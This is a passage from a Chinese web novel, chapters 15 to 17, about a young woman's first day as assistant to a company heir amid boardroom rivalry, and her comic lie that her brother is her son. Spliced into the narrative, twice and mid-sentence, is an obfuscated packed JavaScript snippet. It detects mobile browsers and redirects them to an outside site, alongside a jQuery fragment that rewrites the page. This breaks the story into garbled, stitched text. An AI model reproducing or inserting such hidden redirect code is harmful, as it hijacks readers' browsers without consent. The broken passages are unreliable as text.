“如果你是韦小宝,身后不会还站着个天地会吧?难不成你也双重身份?妙妙姐,你可不能有什么事瞒着我,我这么信任你,这样我会很伤心的。”魏如栩半正经半戏谑地看着顾妙,漆黑的眼珠像是一眼望不到底的深泉。 “小魏总,你可别拿我开玩笑,我之前都不是做这一行的。”中央空调挺凉快,可是顾妙还是出了一层冷汗,心想年龄的事儿还是改天找个气氛好的时候再说,现在不提为妙。 “其实,我刚才是骗廖总的。”魏如栩突然正色道,“我爸和我的性格不一样,他比较爽朗豁达,应该注意不到那些细节的事情,提前做预判。如果换了他,可能等出事之后追查责任的时候才知道。而且他也不会开掉整个B组,他只会辞掉戴伟伦一个人。” 顾妙被他的话弄得有点懵,诧异地看着他。 魏如栩说:“戴伟伦的事是我找人查的。我刚接手公司的时候恰好赶上丢了无人机的项目,可能我天生疑心重,怎么都觉得不对劲,于是就去查了他,果然不出我所料。” “你去哪……找人查……” 魏如栩表情古怪地看了顾妙一眼,眼神有点打趣的意味,似乎觉得她这个问题蠢得可爱。 “好歹我也算是个纨绔子弟,就算自己出淤泥而不染,总有几个狐朋狗友深谙此道。一旦有了怀疑,去查证一个人不难。再说我不需要那么实打实的证据,一个模模糊糊的录音就够吓得他心惊胆战。” 说到“出淤泥而不染”,魏如栩比了个空气引号,像是自嘲,唇角挂着一缕讥讽的笑。 顾妙一时不知道说什么好,尴尬地端起杯子喝了口咖啡。 “我本就想把戴伟伦赶出公司,因为他是廖玄招进公司来的。虽然廖玄负责客户部,并不是创意部的直属上司,但戴伟伦确实表现太优异了,如果两个人合起伙来把控住公司最关键的两个部门,我怕到时候没有我和我爸说话的份。再或者,他们以离开公司相威胁,这事儿就麻烦了。” 原来廖总的名字叫廖玄。 顾妙反问他:“可你也说了,戴伟伦确实业务能力很强,你不怕影响公司业绩吗?” “业务能力再强,如果不能为我所用,又有什么意义呢?何况他已经做了伤害公司的事,他不仁,我自然顺水推舟就不义了呗。”魏如栩喃喃地说,“他做错了事,我开除他。我没错。” 他说这话的时候,表情是暗淡的,声音低沉,像是说给自己听,努力证明他的决策是对的。 “我没别的野心,也不敢说自己能把这家公司做大做强,我就只是希望,在我爸回来的时候,公司还是原来的样子。” “你觉得廖玄想对公司做什么?” 顾妙若有所思,职场的东西她懂得并不多,也不知道魏如栩到底了解到什么情况。 果然依他所说,屁股决定脑袋,目前顾妙尚不能对他的担忧感同身受,更多的还是茫然。 15. 第十五章 上岗 魏如栩挠了挠头:“其实我也不太懂,还在慢慢摸索。我觉得大概会有三种可能——” “一是把我爸排挤出公司,就像乔布斯被赶出自己一手创建的苹果公司那样;二是分裂公司,廖玄带着最得力的干将自立门户,他负责客户部,如果他走,保守估计能带走百分之五十的客户,这也就是我怕他跟创意部的人关系太近的原因;第三,他拉新的资本进来,兼并或者收购公司,他的职位可能会高过我爸。” 顾妙心里开始发虚,他说的这些词在专业课上好像都听过,可是具体该怎么操作来着? 喂,谁说课本上的内容在工作当中有百分之八十用不到来着?剩下的那百分之二十是什么,有没有人给划个范围?这特喵的该怎么考试啊! “这些都是后话,我也是半桶水,瞎琢磨。先不说这个了,我记得刚才廖玄进来的时候你有话要说,是什么?” “啊?哦……没什么,就想问问从什么时候开始上班。”顾妙诚恳地说,“一年一签的话,是一到两个月试用期,我想着先试试,要是你我都能适应,我确实也能帮到你,再做转正考虑怎么样?转正之前,也不用签合同。” 她来这一趟,至少见到了魏如栩的假想敌,看来他也的确需要人帮忙——从他刚才的表现,顾妙依稀能感觉到,他虽然说话气势不弱,但疑心病确实有点重,估计是缺乏安全感。 因此顾妙还是觉得能帮的话就帮一点,如果真帮不上忙,她会主动离开。 魏如栩笑了笑:“这些都是小事,主要是保护你的权益,就随你了。你觉得不方便的话,我也可以跟你签个临时协议。” “多谢老板体谅。”顾妙惴惴不安,她的确是不想再撒更多的谎,不过却没料到魏如栩竟没有深究。 “开除了创意B组,就得再招一个新的团队。”魏如栩走到落地窗边,向外望着,“你说我们是挖一整个团队来,还是一个一个招,自己组队?” “一整个团队倒是默契,但恐怕他们自己一条心,很容易排斥公司现在的同事。毕竟这个组只是负责文案和设计,他们还要跟其他部门协调合作。单兵招揽倒是没有这个问题,但刚组成的团队肯定还要磨合。” “嗯,各有利弊。”魏如栩沉吟片刻,“那就一个一个招吧,反正都是磨合,团队跟其他团队磨合,团队成员自己磨合,同时进行。再说公司还有创意A和创意C两个团队能用,不碍事。” 顾妙站起来:“好,听你的。” 魏如栩语气笃定:“妙妙姐,你帮我起草一个招聘要求发给HR,以及,我希望最终面试的时候你替我出面。组长不用招了,我从别的组提拔一个上来,你替我按配置招四个人,越年轻越好,甚至大学刚毕业都没关系,只要有才华就行。” 这什么意思?加上他俩凑成七个葫芦娃,组团打怪? 见顾妙愕然,魏如栩轻笑一声:“廖玄不是整天觉得年轻人办不成事吗?我就偏想给他一个年轻优秀的团队看看!” 其实这也正是顾妙渴望的,因为从她打工到现在,总有人拿她的年龄说事儿,她心里就是一千一万个不服。 年轻怎么了?出生晚又不是我们自己能选的,就因为这样看不起我们吗? 魏如栩这么一说,瞬间点燃了顾妙的好胜心,她恨不得立刻就把他说的这个年轻的团队组建起来,冲到战场把那些瞧不上他们的老顽固们杀个片甲不留! 顾妙猛一点头,信心满满地说:“没错,引用以前一个动画电影的台词,‘打得他满脸桃花开,让他知道花儿为什么这样红’!” 魏如栩的眼神中闪过一丝诧异,随即他促狭地笑了起来:“暴露年龄了。” 意识到自己表现得有点过于活泼,顾妙赶紧收敛,不好意思地说:“那啥,你忙,我出去了。” 她到了自己的工位前坐下,从包里掏出一个本子和一支笔,放在比她脸还干净的桌面上,然后东看看,西望望,把桌子的抽屉也翻了一个遍,发现确实啥都没有,顿时不知道干什么好了。 坐在里间办公室的魏如栩,刚发完宏图大志,牛皮吹出去了,现在分外空虚地靠在老板椅上发愣,同样也是一副不知该干什么的样子。 这总经理,平时不都忙得脚不沾地吗?不是天南海北到处飞,就是连番儿开会,再不然也是去见高端客户,推杯换盏、打高尔夫,玩着闹着就把生意给谈下来了。 世界上就他这个总经理在这儿闲得蛋疼吧? 站在原本不属于自己的高位上,真是每走一步都觉得脚下发虚。 顾妙更虚,毕竟她心里还藏着个不能说的秘密。 对着自己的小本子发了一会儿呆,她决定先写一写今后的计划。 第一行:回家把旧课本找出来,认真仔细地看一遍,尤其是管理类专业课。 第二行她就不知道该写什么了,六神无主地抠着笔,人生第一次觉得自己的大脑比真空还空。 两个人一个在里头,一个在外头,各自沉默了十几分钟,整个总经理办公室安静得要命,似乎连喘气声都能听得一清二楚。 顾妙心想:“电脑工牌什么的怎么办?我是自己问呢,还是等行政的来找我?” 魏如栩这会儿走出来,豪迈地一挥手:“嗯,我的事都处理得差不多了,走,带你去熟悉一下公司。” 顾妙如蒙大赦,顿时腰不酸脚不疼,屁颠屁颠跟上他的脚步。 公司并不大,刚才顾妙跟着前台上来的时候已经自己看了一圈,每个地方也都有牌子,不难搞懂是干什么的。 因此这次她等于温故而知新,所知的那个“新”就是刚刚没能看到全貌的一层休息室,也就是地上放着很多豆袋沙发的那个地方。 休息室很大,基础用途分为三个区域。一块是用餐区,靠墙一溜高脚桌,冰箱、微波炉、咖啡机等日常生活用电器一应俱全,平时员工们就是在这儿吃饭休息。 另一块是活动区,摆了几台跑步机、椭圆仪,还有一个拳击沙袋,两张台球桌,一张桌上足球。第三块是放松区,放了一排按摩椅,那些五颜六色的豆袋沙发就属于放松区。 魏如栩:“工作累了,或者颈椎后背有哪里不舒服,可以到这里按摩一会儿。” “在领导眼皮底下放松,不会是活腻了吧?”顾妙土包子似地在心里感叹了一句,为了掩饰自己实际上没什么见识的事实,她机智地选择了闭嘴,只是煞有介事地点了点头。 格子间的员工们偶有抬起头来看他们一眼,知道是新员工,或许还是这位太子爷的亲信,也就见怪不怪地低下头。 庸庸众生皆苦,有的人看到不费力就可以高高在上的黄马褂,产生一点羡慕之情嫉妒之恨或许也是本能,而更大多数的人是不在乎,他们只要完成工作任务,服务好直属上司就够了,其他部门甚至其他职位的人,跟他们几乎都没什么交集。 最后魏如栩带顾妙去了行政部打招呼。 见是总经理亲自带人过来,总监也热情得很,赶紧吩咐手下人:“那个小王,等会儿给小顾做胸卡,还有笔记本,检查好了没问题赶紧送办公室去,别耽误人家用。听见了吗?” “做胸卡是不是得用一寸照片?”顾妙突然问,“我没带。” “没事没事,写字楼里有快速拍证件照的机器,一会儿我让小王带你去。” 行政总监保持着跟这个部门懒散作风丝毫不一致的热情洋溢,说起话来声音洪亮,给人一种字字铿锵的感觉。 顾妙冲圆脸姑娘小王点了下头:“麻烦你了。” 既然顾妙要拍照,魏如栩就把她留在这里,一个人回了办公室。等顾妙搞定一切回到自己座位上的时候,发现桌子上堆满了五颜六色的文件夹。 她随手翻了翻,发现是各个项目的资料和进度表,还有一些公司章程。 “这些都是前阵子我快速补课用的。”魏如栩的声音冷不丁出现,又把顾妙吓了一跳。 顾妙装作擦了一把不存在的冷汗:“老板你走路都没声儿的吗?” 魏如栩看看自己的板鞋,又看看地毯,挑了挑眉:“不然你来给我挂个铃铛?” 换了平时,顾妙心里有一千句话可以跟他怼着玩儿,可惜现在身份和环境都不太合适,她只能眯眯眼,敷衍一笑,做了一个“对不起你的笑话实在太冷了”的表情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459392|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “公司大体架构,以及目前的项目和进展都在这些文件夹里了,你看完就能有个大概的了解,有什么疑问的话,我叫各个项目负责人过来给我们解释。”魏如栩单手扶着顾妙的办公桌,微微弓着身子,翻着那些文件夹,“咱俩之前都不是干这行的,至少他们都知道我不是,所以也不用不懂装懂,大胆提问就行。” 顾妙想了想:“我记得有的公司新员工去了会轮岗,就是让他们尽快熟悉公司的工作流程。咱俩轮岗肯定是不现实了,不然你选个项目详细跟一下?看看他们是怎么干的。” 魏如栩盯着她,眨了眨眼:“你这个办法好,我喜欢。” 有了这堆项目报告,顾妙第一天的工作顿时充实了,她把自己埋在报告里,希望能尽快吃透公司目前的每一个项目,至少能做到魏如栩问她什么她能对答如流。 之前跟行政部小王一起出去拍照的时候,顾妙就跟她聊得熟络了一些。 小王告诉她这个写字楼的八层有一个公共食堂,大致就是私人承包了半层,雇了大厨来做饭,想去吃的话买他们家的储值饭卡就可以。只不过那里的餐饮水准跟大学食堂没什么差别,好处就是便宜。 如果不想吃食堂,附近有好几个便利店,可以出去买饭。当然最经济实惠的就是自己带饭,反正休息室里有微波炉可以加热。 所以中午吃饭的时候,魏如栩想请顾妙吃个工作餐,就被她拒绝了。 “庆祝你第一天上班,这个面子都不给?”魏如栩似乎没料到自己会被拒绝,有些意外。 顾妙:“我要去食堂探个路,看看他们伙食究竟怎么样。至于庆祝我第一天上班……老板,你就请工作餐,未免太抠门了吧?” “说得也是。”魏如栩点点头,“那晚上给你庆祝?” “今晚不行,我的档期很满,要提前预约。” 魏如栩:“……” 似乎不留心招来了个大佬呢。 休息时间一到,大家陆续出了办公区,跑去吃午饭。 这个“跑”字不是夸张,是真实描写。 顾妙没有经验,一开始还不知道为什么一路上旁边的人都走路带风,就她一个人散步似地拖拖拉拉,等她到了食堂,顿时就被这乌央乌央的人头给吓了一跳。 这个过分平凡普通的食堂跟这高端洋气上档次的写字楼画风相差太大了吧,简直是地球到河外星系的距离! 不仅如此,食堂就像是一面照妖镜,平时在办公场所里西装领带套装高跟鞋的白领们到这里纷纷脱下自己矜贵的外套,狼吞虎咽吃着分隔餐盘上廉价“套餐”的模样跟田头老农没什么区别——就连卫生程度都差不多。 公共食堂的伙食果然如小王所描述,实在不怎么样,比大学食堂还不如,但确实胜在便宜且花样繁多:两菜一汤加份米饭不到十五块钱,如果只吃素的话,十块钱以内可以搞定。只不过买饭需要抢,必须早去,去晚了一是没有地方坐,二是只能吃锅底剩菜。 显然食堂管理人员也注意到了这一点,贴心地在靠墙摆了一圈高脚桌,质量自然跟公司休息区的没法比,看起来就像是一张三合板钉在几条塑料腿上,稳定程度堪忧。 吃饭的时候手肘必须悬空,唯恐不小心使大了力气,那桌子分分钟翻脸给你看。 更鸡贼的是靠墙一排桌是没有座位的,只能站着吃。这样能省空间,不会影响到其他饭桌上的人,自然也更省钱,省得买高脚凳了。 没准这样也挺好,直来直去,饭菜下得顺当。 顾妙来晚了,又被眼前的盛景吓得发了几分钟的呆,才想起来去买饭卡。 她抠抠索索地充了一百块,再跑去排队买饭,就只能买到锅底菜。她决定以后有时间做饭的话就尽量带饭,懒得带饭才来这里凑合一顿。 顾妙回到工位上,看了半天资料,才见魏如栩抄着口袋慢悠悠地回来。 她抬头冲他程式化地一笑,魏如栩点点头,正要往办公室里走,忽然停下脚步,耸耸鼻子,似乎在闻着什么。 “怎么了?”顾妙见他不走,缉毒犬似地在这里嗅来嗅去,一时间有点紧张,赶紧穿上之前脱下来的高跟鞋。 16. 第十六章 自作多情 “不会是臭脚丫子味儿吧……”顾妙心惊胆战。 魏如栩凑近顾妙的办公桌,犹豫了一下问道:“那食堂……人不少吧?” 顾妙一怔,低头闻闻自己的衣服,糟糕,果然一股食堂味儿。 “明天我注意……”顾妙尴尬地看了他一眼: 魏如栩笑了笑:“跟我来。” 顾妙一路小跑跟上他进了办公室,魏如栩从抽屉里拿了一瓶香水递给她。香水透明瓶身,木质瓶盖,看起来简洁又大方。 “虽然是男香,但我觉得这种木质香调也很适合女士,你闻一下看看能不能接受。” “好闻!”顾妙轻轻地在手腕内侧喷了喷,“我也喜欢木香。” “主要是衣服上的味道,来,给我。”魏如栩接过香水,对着顾妙身前的空气一喷,示意顾妙从喷雾中穿过。 顾妙顿时想起了无数老电影当中的桥段,不管是男主还是女主基本都是以一种风骚得恨不得将胯扭下来的姿势昂首挺胸走过去的,那种样子十分羞耻。 魏如栩没想到顾妙不配合:“发什么楞呢?香味都散了,赶紧啊!” 他又喷了一下,冲顾妙扬了扬下巴,顾妙只好丧尸一般走出了半身不遂的步伐,穿过那片香水雨,然后面容僵硬地冲魏如栩一笑:“谢谢老板。” “客气。” “这是什么香水?”顾妙好奇地凑了过来,拿起瓶子仔细端详着,“这牌子是罗意威吧?” 魏如栩:“嗯,事后清晨。” 顾妙:“……” 魏如栩并没觉得有什么,拿起马克杯到小吧台去倒咖啡。 顾妙赶紧把香水瓶放回桌上,就好像那玩意咬手似的。 “那个……呃……我先出去了。”顾妙低着头往外走。 魏如栩喝了口咖啡,不经意地看她一眼:“你脸怎么这么红?发烧了?” “没什么,中午喝的汤有点上头。”顾妙回到工位上,把文件夹竖起来挡住脸,内心暗暗唾弃自己,“有啥可尴尬的?脑子里怎么这么多废料?一定是被顾肖传染了!” 人真是禁不起念叨,顾妙大脑里的声音还没落,电脑上微信客户端就提示了顾肖的新信息:【姐,晚上下班我去找你,咱一起出去吃个饭?】 顾妙刚刚还在唾弃他,见了他那骚头像莫名看着烦,无名之火顺着撒了出来,显得杀气腾腾:“出去吃,你发财了?” “对啊,家教班工资周结,我想着你正好不是第一天上班嘛,庆祝一下,咱俩去撸个串。” 顾妙刚想说晚上还得去酒吧兼职,就看到了同事发过来说要调班的微信,手一顿:【嗯,孝心可嘉,一会儿给你定位,跪安吧。】 尽职尽责的小王跑来手把手地给她弄好了公司邮箱,又回去把她加进了公司微信大群、行政群和各职能部门对接员工群。简单打过招呼之后,大家便去各忙各的。虽然几个群一直有人在说话,但没圈顾妙,她也就没看。 整个下午顾妙就做了一件事,写了新创意团队的招聘要求,给魏如栩过目之后,就发给了HR,他们会自行完善。 之后她一直在看公司的各种资料,办公室里的魏如栩也很安静,并没有出去过,连厕所都没去一趟。 顾妙偶尔想起来,抬头往里看一眼,透过影影绰绰的毛玻璃,并看不到魏如栩在做什么。 “太安静了,这样不太对吧。怎么连个电话都没有?”顾妙看了自己案头的电话座机,心想,“是不是那个廖总把什么事都揽过去了,所以没人来找魏如栩汇报?以前宦官专权、权臣当道不都是这么干嘛?” 见魏如栩一心想要帮父亲撑起这家公司,廖总那个糟老头子还在旁边虎视眈眈,顾妙打抱不平的小火星突然成燎原之势,决定她要尽快熟悉公司,把整个情况都给弄清楚,看看怎么才能帮到这个无依无靠的傻……哦不,好老板。 不出顾妙所料,廖玄那边确实忙得团团转,电话一个接一个,就没断了人过来找他,助理车翔忙得恨不得化身哪吒,凭空生出三头六臂来。 倒也不是廖玄故意把持什么大权,而是自从老魏总刚出事,他就在主持公司大局。 魏如栩匆忙从英国赶回来照看父亲,耽误了好些天,再加上他确实什么都不懂,公司的人自然有什么事都找廖玄汇报。 接待完各个部门的轮番轰炸,原本风骚的廖玄此刻也有点精神不支,虚弱地冲门外叫道:“车翔,给我弄杯咖啡。” “老板想喝什么豆?” “surpriseme!” 廖玄的口味跟他的穿搭一样矫情,平时只喝手冲咖啡,又嘴刁得很,恨不得抿一口都能尝出咖啡豆是哪个地区出产,是水洗还是日晒。 好多助理都是因为做不好咖啡被他炒鱿鱼的,车翔能干到现在,多亏他有个开过咖啡馆的表哥,好好给他培训了一周。 鼓捣了好一会儿,车翔端着咖啡进来,毕恭毕敬地放在廖玄的右手边,细心地将杯子把手冲右,就在他伸手就可以拿到的地方。 廖玄看着文件,随手端起杯子抿了一口,掀起眼皮看了车翔一眼:“日晒Geisha?” “我表哥新进的Nyplus的豆子,他亲自烘的,您觉得怎么样?”车翔满脸堆笑,期待廖玄的点评。 “嗯,还不错。”廖玄点了点头,“你表哥烘豆技术有所进步,比以前那些煤渣子强多了。” 车翔连连点头:“谢老板夸奖,回头我就转告他,让他再接再厉。下回有好的耶加雪啡和西达摩我让他给您留着。” “有心了,替我谢谢他。”廖玄说是这么说,但木着一张脸,没有任何表情。 “您客气了,客户满意就是对我们最大的肯定!” “我发现你是越来越贫了。” 车翔“嘿嘿”两声,试探地问:“一直没来及问您,小魏总那边怎么样?创意B组的事儿……戴伟伦打电话问了好几遍,他说您再不出声,他就真得收拾东西走人了。他还想上来跟您谈一谈,被我拦了下来。” 廖玄把手里的文件摞了摞,往车翔面前一推:“这些拿给如栩签字。你告诉戴伟伦,这次我保不了他,让他走流程吧。也别闹事,对他没好处——没想到他还挺不老实,我算是看错他了。” “好,我跟他说。小魏总这次来势汹汹,我以为他就过来挂个名呢,没想到还真要下手开刀。” “年轻嘛,总想着展现一下自己的实力。”廖玄冷笑,语带讥讽,“真是不知道自己几斤几两,随他去吧,我看他能折腾出多大风浪来。” 他把杯中咖啡喝完,闻了闻杯底味道,表情甚是满足。 “上次那个行业交流会,有什么反响吗?”车翔小心翼翼地问。 廖玄撇撇嘴:“他发言的主题是什么广告片与实验美学,你觉得能有什么反响?” “啧,是太学术了。” “最近跟一个业内的老朋友见面,他还提到这事儿,打趣说咱们公司未来接班人是个艺术家,品味够高大上——你说我还能说什么?早就跟他说别把国外那套带进国内来,我看他就是不懂什么叫不合时宜。” “我看小魏总也是硬撑场面,他哪懂咱们这行,只能捡自己懂的说。” “唔,也算他聪明。装X装得不掉面子。”廖玄看向车翔,“对了,他自己找了个助理,这事儿你知道吗?” 车翔一脸茫然:“不知道,中午吃饭的时候还跟HR的小吴聊天来着,小魏总招助理的事儿这么大,他如果了解情况应该会跟我说。那人是谁?要去查查吗?” “不用了,查什么,傻丫头一个。”廖玄疲惫地摆摆手,“以为自己穿得老气点就能显得成熟有经验,真是自欺欺人!估计是如栩的朋友,拉过来帮忙的,不用管她。是什么人,以后工作当中接触几次就清楚了。” 这话如果被顾妙听见,估计她会羞愧而死。自以为装得挺像样,还在心里忐忑不安什么时候掉马甲,谁知道人家根本就没当回事。 这得是多大的自作多情啊! 隔着直线距离不出十米的顾妙并没有感知到有人在diss她,她正聚精会神地看着公司资料,恨不得脑袋都钻进那堆花花绿绿的纸里去。 突然听见有滑轮的声音,她才抬起头,眼睛用了好几秒才适应了长距离的焦距,便看见魏如栩踩着滑板出了办公室。 “下班了,妙妙姐,你晚上不是有事吗,快走吧。”魏如栩冲她一笑,“需要我送你吗?” 顾妙看到这少年英气勃发的一面,一时间还有点不适应:“哦……不用不用,谢谢。” 魏如栩估计也就是跟她客气一下,点了点头就抄着口袋滑出了办公室,身影十分潇洒,仿佛一个挨到下课时间、终于可以出去浪了的大学生。 顾妙只是愣了几秒,估摸着魏如栩已经下楼去坐了电梯,便眼疾手快地收拾好自己的东西冲出了办公室。 她以为一层办公区已经有人开始离开了,没想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这公司的企业文化是不是有点险恶? 许是看顾妙表情有点尴尬,小王赶紧安慰她:“没事,你是第一天上班,不知道也很正常。再说我看小魏总已经走了,你也没什么好担心的。有什么事我给你发微信。” 谢过小王,顾妙心事重重地进了电梯,觉得可能要跟酒吧老板好好商量一下以后的上班时间。 她本来就是兼职,又是女孩子,老板担心她下班太晚会不安全,所以只让她从六点钟上到十点钟。可是如果在嘉栩工作,五点钟不能准时下班的话,到酒吧的时间可能就得推后一个小时。 原本四个小时工作已经很少了,现在缩短到三个小时,酒吧老板估计会想重新找人吧。 其实这个兼职有点鸡肋,并挣不了多少钱,存在的意义相当于一个吉祥物。 顾妙起初打算找到工作之后就辞职,全心全意投入职场。可惜她的求职之路比西天取经还坎坷,就只能靠这个兼职证明自己没有坐吃山空,还在努力挣钱。 嘉栩的这份工作对她来说是天上掉馅饼,根本是想都不敢想的事情,她时时刻刻担心自己会被打回现实丢掉工作,所以还死乞白赖地攥着酒吧兼职不肯放手,权当这是个备胎。 这个时候顾肖的信息发了过来:“姐,我到你们楼下了,你还有多久?时间长的话我四处溜达一圈。” 顾妙顿时来了灵感,反正这小子还有二十多天才去报到,她回头跟老板说在酒吧工作时间推到十一点,然后让顾肖接她上下班不就得了,有弟弟不用实在太浪费了! 她这么一想,心情顿时阳光明媚,给顾肖回了信息:“我在电梯里了,等我。” 顾妙脚步轻盈地到了一层大厅,看见顾肖拎着个塑料袋在大门里边等着她。 见了顾妙,他把手里的袋子往她怀里一扔:“给你的鞋。” 穿高跟鞋实在脚太疼了,她让顾肖给她带了双平底鞋过来。扶着顾肖的肩膀换好鞋,把高跟鞋往帆布包里一塞,姐弟俩开开心心出了写字楼,在路边的公交站牌下等车。 顾肖自然是问起顾妙第一天上班的感受,两人没说两句又开始斗嘴,推推搡搡没个正型。 顾妙正拉开架势想给顾肖一记手刀的时候,突然一个滑板少年风骚地溜了过来,停在他们旁边,熟悉的声音在她耳边炸响。 “妙妙姐!” 二十分钟内她连续被人以惊恐的方式叫了两次,顾妙快对自己的名字产生心理阴影了,她顿时起了一身鸡皮疙瘩,头皮炸开来,整个人都石化了。 她僵硬地转过身去,看到魏如栩微笑的脸。 17. 第十七章 被尴尬封印之地 顾妙怔了怔,一时之间不知道怎么回应。 魏如栩从滑板上跳下来,脸庞因为运动而微微泛红:“等车吗?” “……是啊。”顾妙干巴巴地问,“……你还没走呢?” 魏如栩:“在这广场上玩会儿。” 顾妙看向魏如栩身后,确实有一群滑板少年在宽阔的广场上兴致盎然地滑来滑去。 顾肖总算是见到魏如栩本人,一脸看热闹不嫌事大的坏笑,不错眼珠地盯着他打量,成功引起了魏如栩的注意。 “妙妙姐,你说晚上有事,是跟家人吃饭?”魏如栩看向顾肖,“这位是……”。 “……对,一起吃饭庆祝……”顾妙一把揽过顾肖比她高了十公分的肩膀,不嫌难受地踮起脚,脸上挤出一丝欣喜而骄傲的笑容,“介绍一下,这是我儿子!” 顾肖的表情瞬间凝固:“?!” 他原本想看顾妙的笑话,没想到这位坑弟小能手发挥得如此精彩绝伦,听到那两个字他整个人都斯巴达了。 顾妙感觉到顾肖脊背上的肌肉倏地一紧,整个人绷成了一块钢板,钢板因为愤怒而能量倍增,溢出的热量暴涨,几乎要灼伤她的手。 顾肖冷冷地看向顾妙,眼中的寒意可媲美九天玄冰。 可跟魏如栩那诧异的目光比起来,顾妙宁愿让顾肖的眼神戳死自己。 一辆公交车缓缓停靠,车上呼啦呼啦下来一群人,喧闹得要命,而顾妙这边的空气仿佛已经凝华,十二级大风都吹不走凝结在这中间的尴尬。 “真看不出……你儿子都这么大了……”魏如栩不可置信地打量着顾肖。 顾肖皮笑肉不笑地点点头,揶揄地说:“是不小了,今年开学上大一。” 顾妙心一横,做戏做到底,轻轻推了顾肖一把:“怎么这么没礼貌,还不叫人?” “他叫你姐,我要是跟你的辈分叫人家叔叔,会不会把人家叫老了?”顾肖斜眼看着顾妙,语速缓慢地说。 魏如栩简直要吓尿了,赶紧说:“别别别……千万别叫叔。我叫魏如栩,叫我名字就行。” 顾肖专心致志地盯着顾妙,一字一顿地说话,像个没有感情的人工智能:“你、说、呢,妈?!” 最后这个称呼一出口,顾妙觉得有阵阴风掠过她的后背,所有的汗毛全都立正站好,情不自禁地打了个冷战。 然而天像是要亡这对姐弟,顾肖话音刚落,他身后传来一个清脆的女声。 “顾肖?” 顾肖想死的心都有了,他恨不得现在就用二十年寿命换个瞬间移动的技能,即便只能用一次也在所不惜。 正在他抱着侥幸,幻想盛缘可能没听到他最后那句满含恶意的称呼之时,盛缘已经主动上来跟顾妙打招呼了。 “阿姨好,我叫盛缘,咱们一个小区。”盛缘笑容温柔,十分有礼貌地自报家门,“我和顾肖一起在家教班里教课,我教英语。” 听到比自己小不了几岁的姑娘叫自己阿姨,顾妙的心碎了一地,但是想到这个坑是自己挖的,实在是自作自受,她咬碎钢牙也得撑下去。 顾妙使出吃奶的力气调动起面部肌肉,做出一副慈祥的笑容:“你好。” 魏如栩呆立一旁,觉得气氛好像有点不对,正巧那几个玩滑板的小孩喊他,于是他跟顾妙说:“妙妙姐,你们聊,我先走了,明天见。” 顾妙还没来得及回他一句,那位风一般的男子就蹬上滑板跑远了,仿佛是迫不及待要离开这个时光停滞之地。 魏如栩一走,顾肖就恢复了语言功能,迫不及待地跟盛缘解释,语速快得堪称生平奇迹:“她不是我妈她是我姐我刚刚那是挖苦她呢你千万别误会。” 盛缘意外地看向顾妙,顾妙为了救自己狗命,把头点得如同小鸡吃米:“对对他刚才那就是寒碜我。” “那就好。”盛缘松了口气,笑道,“我差一点就要说阿姨你看起来真年轻,不然真闹笑话了。” 顾妙傻乎乎地陪着笑,顾肖不想让她再跟盛缘说话,铜墙铁壁般地往她身前一挡。顾妙心里苦,老老实实站在他身后当影子,没敢出声。 “你怎么到这儿来了?逛街吗?”顾肖问盛缘。 “我来找我叔叔,他在这楼上工作。”盛缘看了一眼手机上的时间,“他快下班了,我走啦,改天聊,姐姐再见。” 顾妙被点名,抬手冲盛缘摆了摆,一回头便撞上了顾肖那六亲不认的眼神。 她心虚地陪着傻笑,舌头抽筋一般地解释:“……那什么……一时有点紧张……就——哎那女孩,盛缘是吧,是不是就是你那‘灰姑娘’?” 顾肖不说话,就这么冷冷地看着她,顾妙自己都觉得自己有点过分了,无奈地叹口气,诗朗诵一般饱含深情地说:“亲爱的弟弟,谢谢你忍辱负重,帮我在老板面前护住了我的马甲。我错了,我认错,要杀要剐都由你,保证打不还手,骂不还口,以后也不翻旧账。” 他们要坐的公交车开了过来,顾肖一言不发地上了车,顾妙知道这娃是真有点生气,乖巧地跟在他身后,也不敢多说话,生怕再让顾肖搓火。 公交车上很挤,有人要下车,提前往车门处挪,顾妙被人蹭得来回晃,伸手都够不着两边的栏杆,原地旋转门似地转了好几圈。 就在她心里挂念着怎么哄弟弟而有点茫然无措的时候,一只手伸过来,拉住她无处安放的手腕,让她好好扶住座椅旁边的栏杆。 顾妙讨好地冲那手的主人笑了笑:“你最好了!” 顾肖冷着脸,双手吊在吊环扶手上,他还是不想跟她说话,于是转过身去背对着顾妙,也等于用自己的身体护住她。 顾妙躲在顾肖背后,安全感倍增,用只有他能听见的声音低声说:“我刚才真是有点急了,才出了那么个馊主意。本来今天想跟老板坦白来着,但是一上班就刀光剑影的,我就没好意思说出口……” 她的鼻尖正对着顾肖的肩胛骨,面前那人动也没动,似乎就打算当一尊沉默的雕像。 “要不……一会儿路过商场,就把你生日要买的那双鞋先买了?”顾妙实在想不出别的招,只能祭出球鞋大法,“到你生日那天,我再送你一个别的小礼物,以示歉意?” 顾肖还是巍然不动,仰着他高贵的头,但顾妙看不到,他原本冷冷抿着的嘴唇勾起了一丝微笑。 车上挤得乱七八糟,吵吵闹闹,顾妙也没再跟他说话。 下了车,顾肖抄着口袋甩开长腿在前面走,顾妙一路小跑跟在他身后:“大佬,你理理我呗?说庆祝我第一天上班,不是连吃饭都不跟我说话吧?” “刚刚球鞋的事儿,算数吗?”顾肖突然停下来,面色冷峻地回头看她。 顾妙连忙道:“算!怎么不算!原本就答应你的,早买晚买不一样嘛!” “唔,那就行。”顾肖冲旁边一扬头,“到了。” 顾妙这才看见,旁边底商就是那鞋店。 原来这货假装高冷,心里早就暗搓搓地乐开了花,难怪刚刚她觉得去吃烤串那家店好像不是这儿下车,顾肖却坚持要下。 “后悔啦?”顾肖见她不动,居高临下地看着她,一根眉毛挑得像个倒过来的耐克,满脸都是嘲讽。 顾妙白了他一眼:“你皇姐我金口玉言,怎么可能后悔?走着!” 